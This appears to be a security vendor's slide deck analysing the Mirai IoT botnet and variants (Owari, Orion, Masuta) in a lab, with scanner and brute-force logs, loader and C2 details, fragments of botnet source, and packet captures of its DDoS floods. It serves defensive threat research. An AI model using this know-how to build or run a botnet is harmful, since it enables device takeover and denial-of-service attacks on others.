The DNA of Modern IoT Attack Botnets

Carl Herberger
Global VP, Security Solutions

March 31, 2019
Agenda

• A study of the Mirai structure, components, and attack vectors

• A focus on the network aspects of the botnet

• A look into modern variants of Mirai
Attack Surface
Mirai
Discovery & Exploit
Original Mirai Architecture

- Loader and Bot written in C
- ScanListen and CnC service in Go
- Scalable, distributed services
- Targeting BusyBox based devices
- 61 factory default passwords

- ScanListen
- Load Svc
- Bot
- CnC
- CnC Connect
- Telnet port scan
- Brute force login

- Report IP + credentials
- New vic!
- Load bot
- $$$
- Create account + Assign bots

48101
23

Loader and Bot written in C
ScanListen and CnC service in Go
Scalable, distributed services
Targeting BusyBox based devices
61 factory default passwords
Factory Default Credentials

61 factory default credentials
My Test Network is Excluded by Default in Code

Why are some of these others (GE, USPS, DoD, HP) excluded?
- Most are not routed, likely saving scanning resources
- Owari includes ranges annotated as “honeypot”
So I Changed It:

```c
GNU nano 2.2.6  File: scanner.c

(o1 == 190) ||
(o1 == 191) ||
(o1 == 192 && o2 <= 167) || //exclude 192.0 - 192.167
(o1 == 192 && o2 >= 169) || //exclude 192.169 - 192.255
(o1 == 192 && o2 == 168 && o3 < 3) || //exclude lower than 192.168.3.0
(o1 == 192 && o2 == 168 && o3 >= 4) || //exclude 192.168.4.0 and higher
(o1 == 193) ||
(o1 == 194) ||
```
User Accounts on the C2

• Users can be added to the C2
• Options include:
  • Username
  • Password
  • Quantity of bots
  • Maximum attack duration in seconds
  • Cooldown time (period between attacks)
Processes
Scanner Process Starting

```
root@mirai-cnc:/home/muser/Mirai-Source-Code/mirai/debug#
root@mirai-cnc:/home/muser/Mirai-Source-Code/mirai/debug# ./mirai.dbg
DEBUG MODE YO
[main] We are the only process on this system!
listening tun0
[main] Attempting to connect to CNC
[[resolv] Got response from select
[resolv] Found IP address: 0b02a8c0
Resolved cnc.starboardlab.com to 1 IPv4 addresses
[main] Resolved domain
[main] Connected to CNC, Local address = 184723648

scanner] Scanner process initialized. Scanning started.
[killer] Trying to kill port 23
[killer] Finding and killing processes holding port 23
Failed to find inode for port 23
[killer] Failed to kill port 23
[killer] Bound to tcp/23 (telnet)
[killer] Detected we are running out of `"/home/muser/Mirai-Source-Code/mirai/debug/mirai.dbg`'
[killer] Memory scanning processes
[table] Tried to access table.11 but it is locked
Got SIGSEGV at address: 0x0
```
<table>
<thead>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>Port</th>
<th>Dest IP Address</th>
<th>Dest Port</th>
<th>Flags</th>
<th>Seq</th>
<th>Win</th>
<th>Length</th>
</tr>
</thead>
<tbody>
<tr>
<td>12:24:34.251756</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>202.174.204.252</td>
<td>23</td>
<td>[S]</td>
<td>3400453372</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.251839</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>140.201.41.97</td>
<td>23</td>
<td>[S]</td>
<td>2361993569</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.251912</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>217.43.25.67</td>
<td>23</td>
<td>[S]</td>
<td>3643480387</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.251983</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>190.215.235.63</td>
<td>23</td>
<td>[S]</td>
<td>1809312575</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.252235</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>95.105.42.70</td>
<td>23</td>
<td>[S]</td>
<td>1600727622</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.252317</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>82.98.148.161</td>
<td>23</td>
<td>[S]</td>
<td>1382192289</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.252391</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>209.219.170.92</td>
<td>23</td>
<td>[S]</td>
<td>3520834140</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.252464</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>162.157.77.42</td>
<td>23</td>
<td>[S]</td>
<td>2728217898</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.252535</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>177.115.151.197</td>
<td>23</td>
<td>[S]</td>
<td>2977142725</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.252607</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>182.101.192.57</td>
<td>2323</td>
<td>[S]</td>
<td>1717944377</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.252679</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>205.234.88.6</td>
<td>23</td>
<td>[S]</td>
<td>3454687238</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.252750</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>221.51.192.53</td>
<td>23</td>
<td>[S]</td>
<td>3711156277</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.252821</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>117.176.109.111</td>
<td>23</td>
<td>[S]</td>
<td>1974496623</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.252911</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>188.13.48.243</td>
<td>23</td>
<td>[S]</td>
<td>3154981107</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.252993</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>118.230.214.228</td>
<td>23</td>
<td>[S]</td>
<td>1994839780</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.253066</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>37.81.89.245</td>
<td>23</td>
<td>[S]</td>
<td>626088437</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.253136</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>115.157.70.169</td>
<td>23</td>
<td>[S]</td>
<td>1939687081</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.253154</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>42.251.147.237</td>
<td>23</td>
<td>[S]</td>
<td>721130477</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.253161</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>82.26.80.39</td>
<td>23</td>
<td>[S]</td>
<td>1377456167</td>
<td>11441</td>
<td>0</td>
</tr>
<tr>
<td>12:24:34.253217</td>
<td>192.168.2.14</td>
<td>14356</td>
<td>194.162.75.63</td>
<td>23</td>
<td>[S]</td>
<td>3265415999</td>
<td>11441</td>
<td>0</td>
</tr>
</tbody>
</table>
Bot Finds Host and Attempts to Brute

This process actually takes some time

```
[scanner] FD6 Attempting to brute found IP 192.168.3.2  
[scanner] FD5 timed out (state = 2)  
[scanner] FD6 connected. Trying root:xc3511  
[scanner] FD6 timed out (state = 2)  
[scanner] FD5 Attempting to brute found IP 192.168.3.2  
[scanner] FD6 Attempting to brute found IP 192.168.3.2  
[scanner] FD6 connected. Trying guest:12345  
[scanner] FD5 timed out (state = 2)  
[scanner] FD6 timed out (state = 1)  
[scanner] FD6 connected. Trying root:root  
[scanner] FD5 Attempting to brute found IP 192.168.3.2  
[scanner] FD6 connected. Trying root:root  
[scanner] FD5 timed out (state = 2)  
[scanner] FD6 connected. Trying root:
```

Listens for bots to report victims TCP/48101

```
muser@mirai-scan:~
root@mirai-scan:/home/muser# ./scanListen
```
The Loader Process

- Keeps track of bot loading
- Coupled with architecture binaries
- Allows for dedicated loading by piping in a known bot list
Sricam AP003

```
muser@mirai-util:~$ nmap 192.168.3.140
Starting Nmap 7.01 ( https://nmap.org ) at 2017-01-30 16:09 EST
Nmap scan report for 192.168.3.140
Host is up (0.022s latency).
Not shown: 997 closed ports
PORT      STATE      SERVICE
23/tcp    open       telnet
81/tcp    open       hosts2-ns
8600/tcp   open      asterix

Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds
muser@mirai-util:~$ muser@mirai-util:~$ telnet 192.168.3.140
Trying 192.168.3.140...
Connected to 192.168.3.140.
Escape character is '^]'.

(none) login: root
Password:

BusyBox v1.12.1 (2013-03-02 13:26:40 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
$
# exit
Connection closed by foreign host.
muser@mirai-util:~$ ```
Forced Infection of Camera

```
root@mirai-scan:/home/muser# cat ips.txt | ./loader
```

Used TFTP because busybox on this camera didn’t include wget
Newly Infected Bot Starts Scanning

```
sw2#sho int fa0/10 | i 30 second
  30 second input rate 80000 bits/sec, 147 packets/sec
  30 second output rate 0 bits/sec, 0 packets/sec
sw2#
```
Original Mirai Attack Vectors
Original Attack Vectors

Available Attack List

**greeth**: GRE Ethernet flood
**udppplain**: UDP flood with less options. optimized for higher PPS
**vse**: Valve source engine specific flood
**dns**: DNS resolver flood using the targets domain, input IP is ignored
**syn**: SYN flood
**ack**: ACK flood
**stomp**: TCP stomp flood
**greip**: GRE IP flood
**http**: HTTP flood
**udp**: UDP flood
<table>
<thead>
<tr>
<th>Attack</th>
<th>Protocol</th>
<th>Packet Size</th>
<th>BPS</th>
<th>PPS</th>
</tr>
</thead>
<tbody>
<tr>
<td>DNS</td>
<td>UDP</td>
<td>93</td>
<td>158,795,184</td>
<td>225,559</td>
</tr>
<tr>
<td>VSE</td>
<td>UDP</td>
<td>67</td>
<td>126,300,112</td>
<td>222,357</td>
</tr>
<tr>
<td>STOMP</td>
<td>TCP</td>
<td>822</td>
<td>488,183,616</td>
<td>73,877</td>
</tr>
<tr>
<td>GREETH</td>
<td>GRE</td>
<td>592</td>
<td>483,750,656</td>
<td>101,458</td>
</tr>
<tr>
<td>GREIP</td>
<td>GRE</td>
<td>578</td>
<td>483,389,312</td>
<td>103,821</td>
</tr>
<tr>
<td>SYN</td>
<td>TCP</td>
<td>74</td>
<td>132,103,360</td>
<td>211,704</td>
</tr>
<tr>
<td>ACK</td>
<td>TCP</td>
<td>566</td>
<td>483,049,408</td>
<td>105,934</td>
</tr>
<tr>
<td>UDP</td>
<td>UDP</td>
<td>554</td>
<td>482,700,896</td>
<td>108,133</td>
</tr>
<tr>
<td>UDPPLAIN</td>
<td>UDP</td>
<td>554</td>
<td>452,440,448</td>
<td>101,352</td>
</tr>
<tr>
<td>HTTP</td>
<td>TCP (APP)</td>
<td>373</td>
<td>3,664,168</td>
<td>2,277</td>
</tr>
</tbody>
</table>
Radware Threat Ranking

• Ranked all 10 Mirai attacks as they performed on Raspberry Pi 3 bots*
• Score based on:
  • Attack velocity (BPS, PPS, CPS)
  • Default behavior
  • Impact on network and devices
• Each attack can be a significant threat on its own
• Score of 10 is most threatening

<table>
<thead>
<tr>
<th>Mirai Attack</th>
<th>Threat Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>DNS</td>
<td>10</td>
</tr>
<tr>
<td>VSE</td>
<td>9</td>
</tr>
<tr>
<td>STOMP</td>
<td>8</td>
</tr>
<tr>
<td>GREETH</td>
<td>7</td>
</tr>
<tr>
<td>GREIP</td>
<td>6</td>
</tr>
<tr>
<td>SYN</td>
<td>5</td>
</tr>
<tr>
<td>ACK</td>
<td>4</td>
</tr>
<tr>
<td>UDP</td>
<td>3</td>
</tr>
<tr>
<td>UDPPLAIN</td>
<td>2</td>
</tr>
<tr>
<td>HTTP</td>
<td>1</td>
</tr>
</tbody>
</table>

*Note: Mirai was manually loaded onto the Pi bots in the lab using Mirai’s debug mode. Neither Raspberry Pi nor Raspbian OS are known to be vulnerable to Mirai.
DNS: DNS Resolver Flood

Characteristics

- **Protocol:** UDP
- **Bandwidth Profile:** Medium BPS, High PPS
- **Packet Size:** Small (93 bytes)
- **Threat Ranking:** 10
- **Notes:** Target IP is ignored. Very difficult attack to defend against without specific tools.
DNS Attack Analysis

The device floods its recursive DNS server with A-record lookups for $STRING.domain.com:

11:10:43.697367 IP 192.168.3.114.34569 > 192.168.3.4.53: 11725+ A? t0b18p0cdblw.example.com. (45)
11:10:43.698271 IP 192.168.3.112.41054 > 192.168.3.4.53: 18327+ A? h5rjw6dgfaat.example.com. (45)
11:10:43.698885 IP 192.168.3.115.57475 > 192.168.3.4.53: 951+ A? j4ntpv8fvtq.example.com. (45)
11:10:43.700153 IP 192.168.3.115.62723 > 192.168.3.4.53: 52021+ A? vbulfqm4mr8.example.com. (45)
11:10:43.700775 IP 192.168.3.114.37722 > 192.168.3.4.53: 21143+ A? 8bc36jfnl0jg.example.com. (45)
11:10:43.701182 IP 192.168.3.113.14438 > 192.168.3.4.53: 65156+ A? pofmdmft5bej.example.com. (45)

Recursive server doesn’t have this cached, so it forwards the lookup request to the authoritative name server for the domain:

11:09:47.241168 IP 192.168.3.4.49960 > 192.168.2.53.53: 5832+% [1au] A? 56j7gru4r368.example.com. (56)
11:09:47.241998 IP 192.168.3.4.51425 > 192.168.2.53.53: 13561+% [1au] A? 8prf8fff8bt7qh.example.com. (56)
DNS Attack Topology

ISP 1
Recursive Name Server

ISP 2
Recursive Name Server

ISP 3
Recursive Name Server

Authoritative Name Server for example.com (Target)

A? t0b18p0cdblw.example.com
A? h5rjw6dgfaat.example.com
A? j4nntpv8fvtq.example.com
A? vbulfqmk4mr8.example.com
A? 8bc36jfn10jg.example.com
A? pofmdmft5bej.example.com
VSE: Valve Source Engine Flood

Characteristics

• **Protocol:** UDP

• **Bandwidth Profile:** Moderate BPS, High PPS

• **Packet Size:** Small (67 bytes)

• **Threat Ranking:** 9

• **Notes:** Built to target Valve-based game platforms. However, it is a very high PPS attack that could be used on other targets
VSE Background

Valve servers listen for clients on UDP/27015

$ netstat -ln | grep 27015

tcp  0   0 127.0.1.1:27015   0.0.0.0:*       LISTEN
udp  0   0 0.0.0.0:27015    0.0.0.0:*       
$

New players wanting to connect to the server will do so on UDP/27015

21:12:47.027872 IP 192.168.1.252.60814 > 192.168.3.11.27015: UDP, length 25
21:12:47.028006 IP 192.168.1.252.60815 > 192.168.3.11.27015: UDP, length 25
21:12:47.028019 IP 192.168.1.252.60816 > 192.168.3.11.27015: UDP, length 25
21:12:47.028028 IP 192.168.1.252.60817 > 192.168.3.11.27015: UDP, length 25
STOMP: TCP Stomp Flood

Characteristics

- **Protocol**: TCP

- **Bandwidth Profile**: High BPS (highest of all Pi bot attacks), Low PPS

- **Packet Size**: Largest of all Mirai vectors (822 bytes)

- **Threat Ranking**: 8

- **Notes**: Supposed to be an in-session attack. Default behavior creates an out-of-state condition.

- Very high BPS attack that can threaten upstream capacity
STOMP Attack

Three-way handshake between 192.168.3.111 (attacker) and 192.168.3.10 (target):

20:21:50.255975 IP 192.168.3.111.50114 > 192.168.3.10.80: Flags [S], seq 1984590386, win 29200, options [mss 1460,sackOK,TS val 17639602 ecr 0,nop,wscale 7], length 0

20:21:50.256113 IP 192.168.3.10.80 > 192.168.3.111.50114: Flags [S.], seq 518524438, ack 1984590387, win 28960, options [mss 1460,sackOK,TS val 17639394 ecr 17639602,nop,wscale 7], length 0

20:21:50.256763 IP 192.168.3.111.50114 > 192.168.3.10.80: Flags [.] , ack 1, win 229, options [nop,nop,TS val 17639602 ecr 17639394], length 0

The very next packet in the transaction is the attacker trying to send a PSH+ACK flood to the target:

20:21:50.257249 IP 192.168.3.111.40933 > 192.168.3.10.80: Flags [P.], seq 2481258496:2481259252, ack 467992576, win 42962, options [[bad opt]

20:21:50.257304 IP 192.168.3.10.80 > 192.168.3.111.40933: Flags [R], seq 467992576, win 0, length 0

20:21:50.257497 IP 192.168.3.111.40933 > 192.168.3.10.80: Flags [P.], seq 65536:66292, ack 1, win 42962, options [[bad opt]

20:21:50.257536 IP 192.168.3.10.80 > 192.168.3.111.40933: Flags [R], seq 467992576, win 0, length 0

20:21:50.257631 IP 192.168.3.111.40933 > 192.168.3.10.80: Flags [P.], seq 131072:131828, ack 1, win 42962, options [[bad opt]
STOMP Attack

Three-way handshake between 192.168.3.111 (attacker) and 192.168.3.10 (target):

20:21:50.255975 IP 192.168.3.111.50114 > 192.168.3.10.80: Flags [S], seq 1984590386, win 29200, options [mss 1460, sackOK, TS val 17639602 ecr 0, nop, wscale 7], length 0

20:21:50.256113 IP 192.168.3.10.80 > 192.168.3.111.50114: Flags [S.], seq 518524438, ack 1984590387, win 28960, options [mss 1460, sackOK, TS val 17639394 ecr 17639602, nop, wscale 7], length 0

20:21:50.256763 IP 192.168.3.111.50114 > 192.168.3.10.80: Flags [.], ack 1, win 229, options [nop, nop, TS val 17639602 ecr 17639394], length 0

The very next packet in the transaction is the attacker trying to send a PSH+ACK flood to the target:

20:21:50.257249 IP 192.168.3.111.40933 > 192.168.3.10.80: Flags [P.], seq 2481258496:2481259252, ack 467992576, win 42962, options [[bad opt]]

20:21:50.257304 IP 192.168.3.10.80 > 192.168.3.111.40933: Flags [R], seq 467992576, win 0, length 0

20:21:50.257497 IP 192.168.3.111.40933 > 192.168.3.10.80: Flags [P.], seq 65536:66292, ack 1, win 42962, options [[bad opt]]

20:21:50.257536 IP 192.168.3.10.80 > 192.168.3.111.40933: Flags [R], seq 467992576, win 0, length 0

20:21:50.257631 IP 192.168.3.111.40933 > 192.168.3.10.80: Flags [P.], seq 131072:131828, ack 1, win 42962, options [[bad opt]]

The source port of the ACK flood has changed, creating an Out-Of-State condition.
GREETH: GRE Ethernet Flood

Characteristics

- **Protocol**: GRE
- **Bandwidth Profile**: High BPS, Medium PPS
- **Packet Size**: Medium (592 bytes)
- **Threat Ranking**: 7
- **Notes**: Payload is Layer 2 Ethernet frames (Transparent Ethernet Bridging) with random SRC/DST MACs
- Inner payload is a UDP packet with random SRC/DST IPs (DST can be specified)
- Remember that GRE is its own protocol (like TCP and UDP) if you are blocking on a device
GREIP: GRE IP Flood

Characteristics

• **Protocol**: GRE

• **Bandwidth Profile**: High BPS, Medium PPS

• **Packet Size**: Medium (578 bytes)

• **Threat Ranking**: 6

• **Notes**: Payload is a randomized UDP packet encapsulated in GRE

• Slightly lower BPS than GREETH because packet is smaller (but higher PPS)

• Remember that GRE is its own protocol (like TCP and UDP) if you are blocking on a device
HTTP: HTTP Flood

Characteristics

• **Protocol:** TCP (HTTP)
• **Bandwidth Profile:** Low BPS, Low PPS
• **Packet Size:** Medium-Small (373 bytes)
• **Threat Ranking:** 1
• **Notes:** Incredibly versatile for specifically-crafted HTTP attacks
  - Designed to exhaust server resources
  - High amplification factor (22x amplification on GET / for default landing page)
  - Console says DST port is random, but this is inaccurate – it’s TCP/80
HTTP Attack in Tcpdump

With the default syntax, the attack traffic looks like this (just like normal web traffic)

16:36:01.971487 IP 192.168.3.111.39122 > 192.168.3.10.80: Flags [.] , ack 22024 , win 591 , options [nop,nop,TS val 50329769 ecr 50327193], length 0

16:36:01.971536 IP 192.168.3.113.58454 > 192.168.3.10.80: Flags [P.], seq 1:302, ack 1, win 229, options [nop,nop,TS val 50329466 ecr 50327192], length 301: HTTP: GET / HTTP/1.1

16:36:01.971682 IP 192.168.3.10.80 > 192.168.3.113.58454: Flags [.] , ack 302, win 235, options [nop,nop,TS val 50327193 ecr 50329466], length 0

16:36:01.972483 IP 192.168.3.10.80 > 192.168.3.113.58454: Flags [.] , seq 1:1449, ack 302, win 235, options [nop,nop,TS val 50327193 ecr 50329466], length 1448: HTTP: HTTP/1.1 200 OK

16:36:01.972504 IP 192.168.3.10.80 > 192.168.3.113.58454: Flags [.] , seq 1449:2897, ack 302, win 235, options [nop,nop,TS val 50327193 ecr 50329466], length 1448: HTTP

16:36:01.972565 IP 192.168.3.10.80 > 192.168.3.113.58454: Flags [.] , seq 2897:4345, ack 302, win 235, options [nop,nop,TS val 50327193 ecr 50329466], length 1448: HTTP

16:36:01.972581 IP 192.168.3.10.80 > 192.168.3.113.58454: Flags [.] , seq 4345:5793, ack 302, win 235, options [nop,nop,TS val 50327193 ecr 50329466], length 1448: HTTP
HTTP: Other Interesting Notes

HTTP User Agents

Impact of an HTTP DELETE attack on target from five Pis
Attacks in Mirai Variants
Masuta and DaddysMirai Botnet Attack Table

Masuta

```
#define ATK_VEC_UDP 0
#define ATK_VEC_VSE 1
#define ATK_VEC_DNS 2
#define ATK_VEC_SYN 3
#define ATK_VEC_ACK 4
#define ATK_VEC_STOMP 5
#define ATK_VEC_GREIP 6
#define ATK_VEC_GREETH 7
#define ATK_VEC_UDP_PLAIN 8
```

DaddysMirai

```
29  #define ATK_VEC_UDP 0
30  #define ATK_VEC_VSE 1
31  #define ATK_VEC_DNS 2
32  #define ATK_VEC_SYN 3
33  #define ATK_VEC_ACK 4
34  #define ATK_VEC_STOMP 5
35  #define ATK_VEC_GREIP 6
36  #define ATK_VEC_GREETH 7
37  #define ATK_VEC_UDP_PLAIN 8
```

Both include original Mirai vectors but remove the HTTP attack
Orion Botnet Attack Table

<table>
<thead>
<tr>
<th>Line</th>
<th>Definition</th>
<th>Value</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>33</td>
<td>#define ATK_VEC_UDP</td>
<td>0</td>
<td>/* Straight up UDP flood */</td>
</tr>
<tr>
<td>34</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>35</td>
<td>#define ATK_VEC_VSE</td>
<td>1</td>
<td>/* Valve Source Engine query flood */</td>
</tr>
<tr>
<td>36</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>37</td>
<td>#define ATK_VEC_DNS</td>
<td>2</td>
<td>/* DNS water torture */</td>
</tr>
<tr>
<td>38</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>39</td>
<td>#define ATK_VEC_SYN</td>
<td>3</td>
<td>/* SYN flood with options */</td>
</tr>
<tr>
<td>40</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>41</td>
<td>#define ATK_VEC_ACK</td>
<td>4</td>
<td>/* ACK flood */</td>
</tr>
<tr>
<td>42</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>43</td>
<td>#define ATK_VEC_STOMP</td>
<td>5</td>
<td>/* ACK flood to bypass mitigation devices */</td>
</tr>
<tr>
<td>44</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>45</td>
<td>#define ATK_VEC_GREIP</td>
<td>6</td>
<td>/* GRE IP flood */</td>
</tr>
<tr>
<td></td>
<td>#define ATK_VEC_GREETH</td>
<td>7</td>
<td>/* GRE Ethernet flood */</td>
</tr>
<tr>
<td></td>
<td>// #define ATK_VEC_PROXY</td>
<td>8</td>
<td>/* Proxy knockback connection */</td>
</tr>
<tr>
<td></td>
<td>#define ATK_VEC_UDPPLAIN</td>
<td>9</td>
<td>/* Plain UDP flood optimized for speed */</td>
</tr>
<tr>
<td></td>
<td>#define ATK_VEC_HTTP</td>
<td>10</td>
<td>/* HTTP layer 7 flood */</td>
</tr>
</tbody>
</table>

Orion is an exact copy of the original Mirai attack table (and just like Mirai, has abandoned the PROXY attack).
Owari Botnet Attack Table

<table>
<thead>
<tr>
<th>Line</th>
<th>Definition</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>21</td>
<td><code>#define ATK_VEC_UDP</code></td>
<td>0</td>
</tr>
<tr>
<td>22</td>
<td><code>#define ATK_VEC_VSE</code></td>
<td>1</td>
</tr>
<tr>
<td>23</td>
<td><code>#define ATK_VEC_DNS</code></td>
<td>2</td>
</tr>
<tr>
<td>24</td>
<td><code>#define ATK_VEC_SYN</code></td>
<td>3</td>
</tr>
<tr>
<td>25</td>
<td><code>#define ATK_VEC_ACK</code></td>
<td>4</td>
</tr>
<tr>
<td>26</td>
<td><code>#define ATK_VEC_STOMP</code></td>
<td>5</td>
</tr>
<tr>
<td>27</td>
<td><code>#define ATK_VEC_GREIP</code></td>
<td>6</td>
</tr>
<tr>
<td>28</td>
<td><code>#define ATK_VEC_GREETH</code></td>
<td>7</td>
</tr>
<tr>
<td>29</td>
<td><code>#define ATK_VEC_UDP_PLAIN</code></td>
<td>8</td>
</tr>
<tr>
<td>30</td>
<td><code>#define ATK_VEC_STD</code></td>
<td>9</td>
</tr>
<tr>
<td>31</td>
<td><code>#define ATK_VEC_XMAS</code></td>
<td>10</td>
</tr>
</tbody>
</table>

Owari also removed the HTTP attack, but **added STD and XMAS**
Owari STD: A Variant UDP Flood

Characteristics

• **Protocol**: UDP

• **Bandwidth Profile**: High BPS, Medium PPS

• **Packet Size**: Large (1024 bytes)

• **Threat Ranking**: Not calculated but same profile as Mirai’s UDPPLAIN if packet length is set

• **Notes**: A replica of the Mirai UDPPLAIN attack, except that it defaults to a packet length of 1024 bytes instead of 512 bytes

• Console incorrectly states 512-byte default packet length
Owari XMAS: An In-Session Christmas Tree Attack

Characteristics

- **Protocol:** TCP
- **Bandwidth Profile:** High BPS, Low PPS
- **Packet Size:** Large (822 bytes)
- **Threat Ranking:** Not calculated but similar throughput profile as Mirai’s STOMP attack
- **Notes:** Sets invalid TCP flag combinations, creating malformed packets
- Small error in code, causing the wrong attack to be launched (fixed for testing)
- In-session attack, exploiting the three-way handshake in TCP
- Lab IoT bots that would crash under Mirai would not crash under Owari
Owari XMAS Attack

All TCP flags (except experimental ECN-nonce) are activated:

XMAS is an in-session attack, requiring 3-way handshake:
Looking Forward
Defense and Onward

- Mirai has forever changed the security threat landscape

- It is important to understand the capabilities of Mirai and other IoT botnets so that your organization can truly comprehend the threat

- Manually reacting to these attacks is not viable, especially in a prolonged campaign

- Effectively fighting these attacks requires specialized solutions, including behavioral technologies that can identify the threats posed by Mirai and other IoT botnets